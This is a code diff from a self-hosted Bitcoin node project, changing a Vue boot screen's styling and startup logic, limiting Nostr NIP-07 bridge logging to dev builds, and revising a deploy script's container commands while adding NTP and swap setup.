||||
}
|
||||
|
||||
// Check immediately
|
||||
checkHealth().then(r => {
|
||||
if (import.meta.env.DEV) console.log('[Boot] health check result:', r)
|
||||
if (r) { finishBoot(); return }
|
||||
// Not ready yet — poll until it is
|
||||
pollInterval = setInterval(async () => {
|
||||
if (await checkHealth()) finishBoot()
|
||||
const healthy = await checkHealth()
|
||||
if (import.meta.env.DEV) console.log('[Boot] poll health:', healthy)
|
||||
if (healthy) finishBoot()
|
||||
}, 2000)
|
||||
})
|
||||
}, lastMsgDelay + 1500))
|
||||
@@ -280,10 +224,16 @@ function initCanvas() {
|
||||
if (ctx) { initStars(c); drawStars(c, ctx) }
|
||||
}
|
||||
|
||||
watch(() => props.visible, v => { if (v) { startPolling(); nextTick(initCanvas) } })
|
||||
onMounted(() => { if (props.visible) { startPolling(); nextTick(initCanvas) } })
|
||||
let started = false
|
||||
function startIfNeeded() {
|
||||
if (started) return
|
||||
started = true
|
||||
startPolling()
|
||||
nextTick(initCanvas)
|
||||
}
|
||||
watch(() => props.visible, v => { if (v) startIfNeeded() })
|
||||
onMounted(() => { if (props.visible) startIfNeeded() })
|
||||
onBeforeUnmount(() => { stopPolling(); cancelAnimationFrame(animFrame) })
|
||||
defineExpose({ startPolling })
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
@@ -292,7 +242,6 @@ defineExpose({ startPolling })
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
cursor: default; overflow: hidden;
|
||||
}
|
||||
.boot-screen:has(.boot-click-prompt) { cursor: pointer; }
|
||||
.boot-stars { position: absolute; inset: 0; width: 100%; height: 100%; }
|
||||
|
||||
/* Two-column layout */
|
||||
@@ -300,9 +249,7 @@ defineExpose({ startPolling })
|
||||
position: relative; z-index: 1;
|
||||
display: flex; align-items: center; gap: 3rem;
|
||||
max-width: 900px; width: 90%; padding: 0 1rem;
|
||||
transition: justify-content 0.8s ease;
|
||||
}
|
||||
.boot-layout-centered { justify-content: center; }
|
||||
|
||||
/* Left column: terminal */
|
||||
.boot-left {
|
||||
@@ -318,19 +265,19 @@ defineExpose({ startPolling })
|
||||
}
|
||||
.boot-log-line { white-space: nowrap; overflow: hidden; animation: log-in 0.3s ease both; }
|
||||
.boot-log-line.info { color: rgba(255,255,255,0.35); }
|
||||
.boot-log-line.success { color: #4ade80; }
|
||||
.boot-log-line.ready { color: #fb923c; font-weight: 600; text-shadow: 0 0 10px rgba(251,146,60,0.5); }
|
||||
.boot-log-line.success { color: rgba(255,255,255,0.7); }
|
||||
.boot-log-line.ready { color: white; font-weight: 600; text-shadow: 0 0 10px rgba(255,255,255,0.4); }
|
||||
.boot-log-ts { color: rgba(255,255,255,0.15); margin-right: 8px; font-weight: 500; }
|
||||
.boot-log-line.success .boot-log-ts { color: rgba(74,222,128,0.4); }
|
||||
.boot-log-line.ready .boot-log-ts { color: rgba(251,146,60,0.6); }
|
||||
.boot-log-line.success .boot-log-ts { color: rgba(255,255,255,0.35); }
|
||||
.boot-log-line.ready .boot-log-ts { color: rgba(255,255,255,0.5); }
|
||||
@keyframes log-in { from { opacity:0; transform:translateY(6px); } to { opacity:1; transform:translateY(0); } }
|
||||
|
||||
.boot-cursor { color: rgba(251,146,60,0.7); animation: blink 1s step-end infinite; font-family: monospace; font-size: 12px; }
|
||||
.boot-cursor { color: rgba(255,255,255,0.5); animation: blink 1s step-end infinite; font-family: monospace; font-size: 12px; }
|
||||
@keyframes blink { 50% { opacity: 0; } }
|
||||
|
||||
.boot-progress-wrap { display: flex; align-items: center; gap: 10px; margin-top: 12px; }
|
||||
.boot-arc { flex: 1; height: 12px; }
|
||||
.boot-pct { font-family: 'SF Mono', monospace; font-size: 10px; color: rgba(255,255,255,0.25); min-width: 28px; text-align: right; }
|
||||
.boot-pct { font-family: 'SF Mono', monospace; font-size: 10px; color: rgba(255,255,255,0.3); min-width: 28px; text-align: right; }
|
||||
|
||||
/* Right column: orb */
|
||||
.boot-right {
|
||||
@@ -339,24 +286,14 @@ defineExpose({ startPolling })
|
||||
|
||||
.boot-orb {
|
||||
position: relative; width: 220px; height: 220px;
|
||||
transition: width 0.8s ease, height 0.8s ease;
|
||||
}
|
||||
@media (min-width: 640px) { .boot-orb { width: 280px; height: 280px; } }
|
||||
@media (min-width: 768px) { .boot-orb { width: 320px; height: 320px; } }
|
||||
|
||||
.boot-orb-screensaver {
|
||||
width: 280px; height: 280px;
|
||||
}
|
||||
@media (min-width: 640px) { .boot-orb-screensaver { width: 360px; height: 360px; } }
|
||||
@media (min-width: 768px) { .boot-orb-screensaver { width: 400px; height: 400px; } }
|
||||
|
||||
/* Viz ring */
|
||||
.boot-viz-ring { position: absolute; inset: 0; --vr: 100px; }
|
||||
@media (min-width: 640px) { .boot-viz-ring { --vr: 130px; } }
|
||||
@media (min-width: 768px) { .boot-viz-ring { --vr: 150px; } }
|
||||
.boot-orb-screensaver .boot-viz-ring { --vr: 130px; }
|
||||
@media (min-width: 640px) { .boot-orb-screensaver .boot-viz-ring { --vr: 170px; } }
|
||||
@media (min-width: 768px) { .boot-orb-screensaver .boot-viz-ring { --vr: 190px; } }
|
||||
|
||||
.boot-viz-seg {
|
||||
position: absolute; left: 50%; top: 50%;
|
||||
@@ -367,22 +304,10 @@ defineExpose({ startPolling })
|
||||
transition: background 0.4s ease, height 0.4s ease, box-shadow 0.4s ease;
|
||||
}
|
||||
.boot-seg-lit {
|
||||
background: linear-gradient(to bottom, rgba(251,146,60,0.8), rgba(245,158,11,0.3));
|
||||
box-shadow: 0 0 5px rgba(251,146,60,0.2);
|
||||
background: linear-gradient(to bottom, rgba(255,255,255,0.7), rgba(255,255,255,0.2));
|
||||
box-shadow: 0 0 6px rgba(255,255,255,0.15);
|
||||
height: 22px; margin-top: -11px;
|
||||
}
|
||||
/* When done, all segments pulse like screensaver */
|
||||
.boot-orb-screensaver .boot-viz-seg {
|
||||
background: linear-gradient(to bottom, rgba(255,255,255,0.4), rgba(255,255,255,0.1));
|
||||
box-shadow: none; height: 24px; margin-top: -12px;
|
||||
animation: seg-pulse 14s ease-in-out infinite;
|
||||
animation-delay: calc(var(--si) * 0.02s);
|
||||
}
|
||||
@keyframes seg-pulse {
|
||||
0%,14.3%,28.6%,42.9%,57.1%,71.4%,92.9%,100% { opacity:0.3; transform: rotate(var(--sd)) translateY(calc(-1 * var(--vr))) scaleY(0.4); }
|
||||
7.1%,21.4%,35.7%,50%,64.3% { opacity:0.9; transform: rotate(var(--sd)) translateY(calc(-1 * var(--vr))) scaleY(1); }
|
||||
78.6%,85.7% { opacity:1; transform: rotate(var(--sd)) translateY(calc(-1 * var(--vr))) scaleY(1.5); }
|
||||
}
|
||||
|
||||
/* Center icon */
|
||||
.boot-center-icon {
|
||||
@@ -390,29 +315,39 @@ defineExpose({ startPolling })
|
||||
filter: drop-shadow(0 0 30px rgba(255,255,255,0.1));
|
||||
}
|
||||
.boot-icon-frame {
|
||||
width: 140px; height: 140px;
|
||||
display: flex; align-items: center; justify-content: center; overflow: hidden;
|
||||
}
|
||||
@media (min-width: 640px) { .boot-icon-frame { width: 180px; height: 180px; } }
|
||||
@media (min-width: 768px) { .boot-icon-frame { width: 220px; height: 220px; } }
|
||||
.boot-orb-screensaver .boot-icon-frame {
|
||||
width: 192px; height: 192px;
|
||||
}
|
||||
@media (min-width: 640px) { .boot-orb-screensaver .boot-icon-frame { width: 256px; height: 256px; } }
|
||||
@media (min-width: 768px) { .boot-orb-screensaver .boot-icon-frame { width: 320px; height: 320px; } }
|
||||
|
||||
.boot-icon-inner {
|
||||
position: absolute; inset: 3px;
|
||||
width: 120px; height: 120px;
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
background: rgba(0,0,0,0.85); border-radius: inherit;
|
||||
}
|
||||
@media (min-width: 640px) { .boot-icon-frame { width: 160px; height: 160px; } }
|
||||
@media (min-width: 768px) { .boot-icon-frame { width: 200px; height: 200px; } }
|
||||
|
||||
/* Gradient border — circular, matches logo-gradient-border style */
|
||||
.boot-gradient-border {
|
||||
position: relative;
|
||||
border-radius: 9999px;
|
||||
padding: 3px;
|
||||
background: linear-gradient(135deg, rgba(255,255,255,0.6) 0%, rgba(0,0,0,0.8) 100%);
|
||||
box-shadow: 0 8px 24px rgba(0,0,0,0.5);
|
||||
}
|
||||
.boot-gradient-border::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 3px;
|
||||
border-radius: 9999px;
|
||||
background: #000;
|
||||
z-index: 0;
|
||||
}
|
||||
|
||||
.boot-pixel-wrap { width: 72px; height: 72px; }
|
||||
@media (min-width: 640px) { .boot-pixel-wrap { width: 90px; height: 90px; } }
|
||||
.boot-pixel-wrap {
|
||||
width: 100%; height: 100%;
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
position: relative; z-index: 1;
|
||||
}
|
||||
|
||||
.boot-logo-inner-logo { width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; }
|
||||
|
||||
:deep(.boot-svg) { width: 100%; height: 100%; image-rendering: pixelated; image-rendering: crisp-edges; }
|
||||
.boot-icon-img {
|
||||
width: 55%; height: 55%; object-fit: contain;
|
||||
filter: brightness(0) invert(1) drop-shadow(0 0 8px rgba(255,255,255,0.15));
|
||||
}
|
||||
|
||||
/* Glitch */
|
||||
.boot-glitch { animation: glitch 0.2s steps(3) both; }
|
||||
@@ -430,22 +365,6 @@ defineExpose({ startPolling })
|
||||
.icon-morph-enter-from { opacity:0; transform: scale(0.5) rotate(-10deg); filter: blur(4px); }
|
||||
.icon-morph-leave-to { opacity:0; transform: scale(1.4) rotate(10deg); filter: blur(4px); }
|
||||
|
||||
/* Click prompt */
|
||||
.boot-click-prompt {
|
||||
color: rgba(255,255,255,0.4); font-size: 0.8rem; font-weight: 500;
|
||||
letter-spacing: 0.1em; text-transform: uppercase;
|
||||
animation: prompt-breathe 3s ease-in-out infinite;
|
||||
}
|
||||
@keyframes prompt-breathe {
|
||||
0%,100% { opacity: 0.3; } 50% { opacity: 0.7; }
|
||||
}
|
||||
.prompt-fade-enter-active { transition: opacity 1s ease 0.5s; }
|
||||
.prompt-fade-enter-from { opacity: 0; }
|
||||
|
||||
/* Terminal fade out */
|
||||
.terminal-fade-leave-active { transition: opacity 0.8s ease, transform 0.8s ease; }
|
||||
.terminal-fade-leave-to { opacity: 0; transform: translateX(-30px); }
|
||||
|
||||
/* Boot screen fade out */
|
||||
.boot-fade-leave-active { transition: opacity 1.2s ease; }
|
||||
.boot-fade-leave-to { opacity: 0; }
|
||||
@@ -455,6 +374,5 @@ defineExpose({ startPolling })
|
||||
.boot-layout { flex-direction: column-reverse; gap: 2rem; }
|
||||
.boot-left { max-width: 100%; }
|
||||
.boot-orb { width: 200px; height: 200px; }
|
||||
.boot-orb-screensaver { width: 260px; height: 260px; }
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -593,7 +593,7 @@ async function handleNostrRequest(event: MessageEvent) {
|
||||
if (!source) return
|
||||
const storedIdentity = getStoredIdentity()
|
||||
const identityId = storedIdentity?.id || null
|
||||
console.log(`[NIP-07] ${method} identityId=${identityId} storedPubkey=${storedIdentity?.nostr_pubkey?.slice(0, 12) || 'none'}`)
|
||||
if (import.meta.env.DEV) console.log(`[NIP-07] ${method} identityId=${identityId} storedPubkey=${storedIdentity?.nostr_pubkey?.slice(0, 12) || 'none'}`)
|
||||
|
||||
try {
|
||||
let result: unknown
|
||||
@@ -601,7 +601,7 @@ async function handleNostrRequest(event: MessageEvent) {
|
||||
// Use stored nostr_pubkey directly if available (avoids RPC call that may 401)
|
||||
if (storedIdentity?.nostr_pubkey) {
|
||||
result = storedIdentity.nostr_pubkey
|
||||
console.log('[NIP-07] getPublicKey from stored identity:', (result as string).slice(0, 12))
|
||||
if (import.meta.env.DEV) console.log('[NIP-07] getPublicKey from stored identity:', (result as string).slice(0, 12))
|
||||
} else if (identityId) {
|
||||
const res = await rpcClient.call<{ nostr_pubkey: string }>({ method: 'identity.get', params: { id: identityId } })
|
||||
result = res.nostr_pubkey
|
||||
@@ -610,13 +610,13 @@ async function handleNostrRequest(event: MessageEvent) {
|
||||
result = res.nostr_pubkey
|
||||
}
|
||||
} else if (method === 'signEvent') {
|
||||
console.log(`[NIP-07] signEvent kind=${params.event?.kind} using identity=${identityId || 'node-default'}`)
|
||||
if (import.meta.env.DEV) console.log(`[NIP-07] signEvent kind=${params.event?.kind} using identity=${identityId || 'node-default'}`)
|
||||
if (identityId) {
|
||||
result = await rpcClient.call<unknown>({ method: 'identity.nostr-sign', params: { id: identityId, event: params.event } })
|
||||
} else {
|
||||
result = await rpcClient.call<unknown>({ method: 'node.nostr-sign', params: { event: params.event } })
|
||||
}
|
||||
console.log('[NIP-07] signEvent OK')
|
||||
if (import.meta.env.DEV) console.log('[NIP-07] signEvent OK')
|
||||
} else if (method === 'getRelays') { result = {} }
|
||||
else if (method === 'nip04.encrypt') { result = (await rpcClient.call<{ ciphertext: string }>({ method: 'identity.nostr-encrypt-nip04', params: { id: identityId || undefined, pubkey: params.pubkey, plaintext: params.plaintext } })).ciphertext }
|
||||
else if (method === 'nip04.decrypt') { result = (await rpcClient.call<{ plaintext: string }>({ method: 'identity.nostr-decrypt-nip04', params: { id: identityId || undefined, pubkey: params.pubkey, ciphertext: params.ciphertext } })).plaintext }
|
||||
@@ -625,7 +625,7 @@ async function handleNostrRequest(event: MessageEvent) {
|
||||
else { throw new Error(`Unsupported NIP-07 method: ${method}`) }
|
||||
source.postMessage({ type: 'nostr-response', id, result }, '*')
|
||||
} catch (err) {
|
||||
console.error(`[NIP-07] ${method} FAILED:`, err instanceof Error ? err.message : err)
|
||||
if (import.meta.env.DEV) console.error(`[NIP-07] ${method} FAILED:`, err instanceof Error ? err.message : err)
|
||||
source.postMessage({ type: 'nostr-response', id, error: err instanceof Error ? err.message : 'Unknown error' }, '*')
|
||||
}
|
||||
}
|
||||
|
||||
@@ -982,10 +982,11 @@ function dismissNotification(id: string) {
|
||||
|
||||
.sidebar-inner {
|
||||
overflow: hidden;
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
/* Only hide sidebar content when doing the login entrance animation */
|
||||
.sidebar-animate .sidebar-inner {
|
||||
opacity: 0;
|
||||
animation: sidebar-inner-draw 0.7s cubic-bezier(0.25, 0.46, 0.45, 0.94) forwards;
|
||||
animation-delay: 6.1s;
|
||||
}
|
||||
|
||||
@@ -14,12 +14,11 @@
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue'
|
||||
import { useRouter, useRoute } from 'vue-router'
|
||||
import { useRouter } from 'vue-router'
|
||||
import { isOnboardingComplete } from '@/composables/useOnboarding'
|
||||
import BootScreen from '@/components/BootScreen.vue'
|
||||
|
||||
const router = useRouter()
|
||||
const route = useRoute()
|
||||
const showBootScreen = ref(false)
|
||||
|
||||
async function quickHealthCheck(): Promise<boolean> {
|
||||
@@ -66,20 +65,24 @@ async function proceedToApp() {
|
||||
}
|
||||
|
||||
function onServerReady() {
|
||||
// Clear flags so splash intro plays on reload
|
||||
if (import.meta.env.DEV) console.log('[RootRedirect] onServerReady — setting flag and reloading')
|
||||
localStorage.removeItem('neode_intro_seen')
|
||||
localStorage.removeItem('neode_onboarding_complete')
|
||||
// Reload with ?intro=1 so we know to skip boot and let App.vue handle splash
|
||||
window.location.href = '/?intro=1'
|
||||
sessionStorage.setItem('archipelago_from_boot', '1')
|
||||
window.location.href = '/'
|
||||
}
|
||||
|
||||
onMounted(async () => {
|
||||
const devMode = import.meta.env.VITE_DEV_MODE
|
||||
|
||||
// Coming back from boot screen — do nothing, let App.vue's SplashScreen take over
|
||||
if (route.query.intro === '1') {
|
||||
// Clean the URL without navigating
|
||||
window.history.replaceState({}, '', '/')
|
||||
// Coming back from boot screen — let App.vue's SplashScreen take over
|
||||
if (sessionStorage.getItem('archipelago_from_boot') === '1') {
|
||||
return
|
||||
}
|
||||
|
||||
// Splash already completed this session — go to app
|
||||
if (sessionStorage.getItem('archipelago_from_splash') === '1') {
|
||||
proceedToApp()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -89,7 +92,7 @@ onMounted(async () => {
|
||||
return
|
||||
}
|
||||
|
||||
// Boot dev mode — always show boot screen
|
||||
// Boot dev mode — always show boot screen (first load only)
|
||||
if (devMode === 'boot') {
|
||||
showBootScreen.value = true
|
||||
return
|
||||
|
||||
@@ -1009,7 +1009,7 @@ async function saveServerName() {
|
||||
try {
|
||||
await rpcClient.call({ method: 'server.set-name', params: { name } })
|
||||
} catch (e) {
|
||||
console.error('Failed to rename server:', e)
|
||||
if (import.meta.env.DEV) console.error('Failed to rename server:', e)
|
||||
}
|
||||
editingServerName.value = false
|
||||
}
|
||||
|
||||
@@ -340,13 +340,13 @@ if [ "$BOTH" = true ]; then
|
||||
fi
|
||||
# FileBrowser fix
|
||||
DOCKER=podman; command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
FB=$(sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -x filebrowser || true)
|
||||
FB=$($DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -x filebrowser || true)
|
||||
if [ -n "$FB" ]; then
|
||||
RO=$(sudo $DOCKER inspect filebrowser 2>/dev/null | grep -oP "\"ReadonlyRootfs\":\s*\K\w+" || echo "false")
|
||||
RO=$($DOCKER inspect filebrowser 2>/dev/null | grep -oP "\"ReadonlyRootfs\":\s*\K\w+" || echo "false")
|
||||
if [ "$RO" = "true" ]; then
|
||||
sudo $DOCKER stop filebrowser 2>/dev/null; sudo $DOCKER rm filebrowser 2>/dev/null
|
||||
$DOCKER stop filebrowser 2>/dev/null; $DOCKER rm filebrowser 2>/dev/null
|
||||
sudo mkdir -p /var/lib/archipelago/filebrowser
|
||||
sudo $DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>/dev/null
|
||||
$DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
' 2>/dev/null || true
|
||||
@@ -677,15 +677,15 @@ PYEOF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
FB_EXISTS=$(sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -x filebrowser || true)
|
||||
FB_EXISTS=$($DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -x filebrowser || true)
|
||||
if [ -n "$FB_EXISTS" ]; then
|
||||
RO=$(sudo $DOCKER inspect filebrowser 2>/dev/null | grep -oP "\"ReadonlyRootfs\":\s*\K\w+" || echo "false")
|
||||
RO=$($DOCKER inspect filebrowser 2>/dev/null | grep -oP "\"ReadonlyRootfs\":\s*\K\w+" || echo "false")
|
||||
if [ "$RO" = "true" ]; then
|
||||
echo " FileBrowser has read-only root — recreating..."
|
||||
sudo $DOCKER stop filebrowser 2>/dev/null
|
||||
sudo $DOCKER rm filebrowser 2>/dev/null
|
||||
$DOCKER stop filebrowser 2>/dev/null
|
||||
$DOCKER rm filebrowser 2>/dev/null
|
||||
sudo mkdir -p /var/lib/archipelago/filebrowser
|
||||
sudo $DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>&1 | tail -1
|
||||
$DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>&1 | tail -1
|
||||
echo " FileBrowser recreated"
|
||||
else
|
||||
echo " FileBrowser OK"
|
||||
@@ -693,7 +693,7 @@ PYEOF
|
||||
else
|
||||
echo " Creating FileBrowser..."
|
||||
sudo mkdir -p /var/lib/archipelago/filebrowser
|
||||
sudo $DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>&1 | tail -1
|
||||
$DOCKER run -d --name filebrowser --restart=always -p 8083:80 -v /var/lib/archipelago/filebrowser:/srv docker.io/filebrowser/filebrowser:v2.27.0 2>&1 | tail -1
|
||||
echo " FileBrowser created"
|
||||
fi
|
||||
' 2>/dev/null || true
|
||||
@@ -713,6 +713,30 @@ PYEOF
|
||||
}
|
||||
MANIFEST_EOF
|
||||
|
||||
# Ensure NTP and swap are configured (prevents OOM kills and clock drift)
|
||||
progress "Ensuring NTP + swap"
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
# NTP via chrony
|
||||
if ! dpkg -l chrony >/dev/null 2>&1; then
|
||||
sudo rm -f /usr/sbin/policy-rc.d
|
||||
sudo apt-get update -qq && sudo apt-get install -y chrony 2>/dev/null
|
||||
fi
|
||||
sudo systemctl enable chrony 2>/dev/null
|
||||
sudo systemctl start chrony 2>/dev/null
|
||||
sudo timedatectl set-ntp true 2>/dev/null
|
||||
# Swap
|
||||
if [ ! -f /swapfile ]; then
|
||||
TOTAL_KB=$(grep MemTotal /proc/meminfo | awk "{print \$2}")
|
||||
SZ=$((TOTAL_KB / 1024 / 1024))
|
||||
[ "$SZ" -gt 8 ] && SZ=8
|
||||
[ "$SZ" -lt 2 ] && SZ=2
|
||||
sudo fallocate -l ${SZ}G /swapfile && sudo chmod 600 /swapfile && sudo mkswap /swapfile && sudo swapon /swapfile
|
||||
grep -q "/swapfile" /etc/fstab || echo "/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
|
||||
echo " Created ${SZ}G swap"
|
||||
fi
|
||||
sudo swapon /swapfile 2>/dev/null || true
|
||||
' 2>&1 | tail -5 | sed 's/^/ /' || true
|
||||
|
||||
# Restart services
|
||||
progress "Restarting services"
|
||||
ssh $SSH_OPTS "$TARGET_HOST" "sudo systemctl start archipelago && sudo systemctl restart nginx"
|
||||
@@ -726,44 +750,44 @@ MANIFEST_EOF
|
||||
else
|
||||
# Rebuild and recreate LND UI container (port 8081 so Launch from UI and http://host:8081 both work)
|
||||
progress "Rebuilding LND UI"
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/lnd-ui && (command -v podman >/dev/null 2>&1 && sudo podman build --no-cache -t lnd-ui:latest . || sudo docker build --no-cache -t lnd-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/lnd-ui && (command -v podman >/dev/null 2>&1 && podman build --no-cache -t lnd-ui:latest . || docker build --no-cache -t lnd-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
echo " Recreating LND UI container (port 8081)..."
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
for c in $(sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i lnd-ui); do
|
||||
[ -n "$c" ] && sudo $DOCKER stop "$c" 2>/dev/null; sudo $DOCKER rm -f "$c" 2>/dev/null
|
||||
for c in $($DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i lnd-ui); do
|
||||
[ -n "$c" ] && $DOCKER stop "$c" 2>/dev/null; $DOCKER rm -f "$c" 2>/dev/null
|
||||
done
|
||||
sudo $DOCKER run -d --name archy-lnd-ui -p 8081:80 --restart unless-stopped lnd-ui:latest
|
||||
$DOCKER run -d --name archy-lnd-ui -p 8081:80 --restart unless-stopped lnd-ui:latest
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
fi
|
||||
|
||||
# Rebuild and recreate ElectrumX UI container (port 50002)
|
||||
progress "Rebuilding ElectrumX UI"
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/electrs-ui && (command -v podman >/dev/null 2>&1 && sudo podman build --no-cache -t electrs-ui:latest . || sudo docker build --no-cache -t electrs-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/electrs-ui && (command -v podman >/dev/null 2>&1 && podman build --no-cache -t electrs-ui:latest . || docker build --no-cache -t electrs-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
echo " Recreating ElectrumX UI container (port 50002, host network)..."
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
for c in $(sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i electrs-ui); do
|
||||
[ -n "$c" ] && sudo $DOCKER stop "$c" 2>/dev/null; sudo $DOCKER rm -f "$c" 2>/dev/null
|
||||
for c in $($DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i electrs-ui); do
|
||||
[ -n "$c" ] && $DOCKER stop "$c" 2>/dev/null; $DOCKER rm -f "$c" 2>/dev/null
|
||||
done
|
||||
sudo $DOCKER run -d --name archy-electrs-ui --network host --restart unless-stopped electrs-ui:latest
|
||||
$DOCKER run -d --name archy-electrs-ui --network host --restart unless-stopped electrs-ui:latest
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
fi
|
||||
|
||||
# Rebuild and recreate Bitcoin UI container (host network, port 8334 in nginx.conf)
|
||||
# Host network required: bitcoin-ui proxies Bitcoin RPC at 127.0.0.1:8332
|
||||
progress "Rebuilding Bitcoin UI"
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/bitcoin-ui && (command -v podman >/dev/null 2>&1 && sudo podman build --no-cache -t bitcoin-ui:latest . || sudo docker build --no-cache -t bitcoin-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
if ssh $SSH_OPTS "$TARGET_HOST" "cd $TARGET_DIR/docker/bitcoin-ui && (command -v podman >/dev/null 2>&1 && podman build --no-cache -t bitcoin-ui:latest . || docker build --no-cache -t bitcoin-ui:latest .)" 2>&1 | tail -12 | sed 's/^/ /'; then
|
||||
echo " Recreating Bitcoin UI container (port 8334, host network)..."
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
for c in $(sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i bitcoin-ui); do
|
||||
[ -n "$c" ] && sudo $DOCKER stop "$c" 2>/dev/null; sudo $DOCKER rm -f "$c" 2>/dev/null
|
||||
for c in $($DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -i bitcoin-ui); do
|
||||
[ -n "$c" ] && $DOCKER stop "$c" 2>/dev/null; $DOCKER rm -f "$c" 2>/dev/null
|
||||
done
|
||||
sudo $DOCKER run -d --name archy-bitcoin-ui --network host --restart unless-stopped bitcoin-ui:latest
|
||||
$DOCKER run -d --name archy-bitcoin-ui --network host --restart unless-stopped bitcoin-ui:latest
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
fi
|
||||
|
||||
@@ -825,9 +849,9 @@ MANIFEST_EOF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" "
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
sudo \$DOCKER network create archy-net 2>/dev/null || true
|
||||
\$DOCKER network create archy-net 2>/dev/null || true
|
||||
NET_OPT='--network archy-net'
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -qE 'bitcoin-knots|archy-bitcoin-knots'; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -qE 'bitcoin-knots|archy-bitcoin-knots'; then
|
||||
echo ' Creating Bitcoin Knots (mainnet, archipelago RPC)...'
|
||||
sudo mkdir -p /var/lib/archipelago/bitcoin
|
||||
# Demo mode: prune=550 saves ~194GB disk, but disables txindex (incompatible with electrumx)
|
||||
@@ -838,7 +862,7 @@ MANIFEST_EOF
|
||||
BTC_EXTRA_ARGS="-txindex=1"
|
||||
BTC_DBCACHE=4096
|
||||
fi
|
||||
sudo \$DOCKER run -d --name bitcoin-knots --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name bitcoin-knots --restart unless-stopped \$NET_OPT \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add FOWNER --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8332:8332 -p 8333:8333 \
|
||||
@@ -850,7 +874,7 @@ MANIFEST_EOF
|
||||
-dbcache=\$BTC_DBCACHE
|
||||
echo ' Bitcoin Knots started (sync may take hours)'
|
||||
else
|
||||
sudo \$DOCKER network connect archy-net bitcoin-knots 2>/dev/null || true
|
||||
\$DOCKER network connect archy-net bitcoin-knots 2>/dev/null || true
|
||||
fi
|
||||
" 2>&1 | sed 's/^/ /' || true
|
||||
|
||||
@@ -864,14 +888,14 @@ MANIFEST_EOF
|
||||
# Clean any duplicate/old mempool containers (user may have two versions)
|
||||
# EXCLUDE electrumx/mempool-electrs - indexing takes days, do not recreate on every deploy
|
||||
for c in mempool mempool-api mempool-web archy-mempool-api archy-mempool-web; do
|
||||
sudo \$DOCKER stop \$c 2>/dev/null
|
||||
sudo \$DOCKER rm -f \$c 2>/dev/null
|
||||
\$DOCKER stop \$c 2>/dev/null
|
||||
\$DOCKER rm -f \$c 2>/dev/null
|
||||
done
|
||||
# Create mysql-mempool if missing
|
||||
if ! sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qE 'mysql-mempool|archy-mempool-db'; then
|
||||
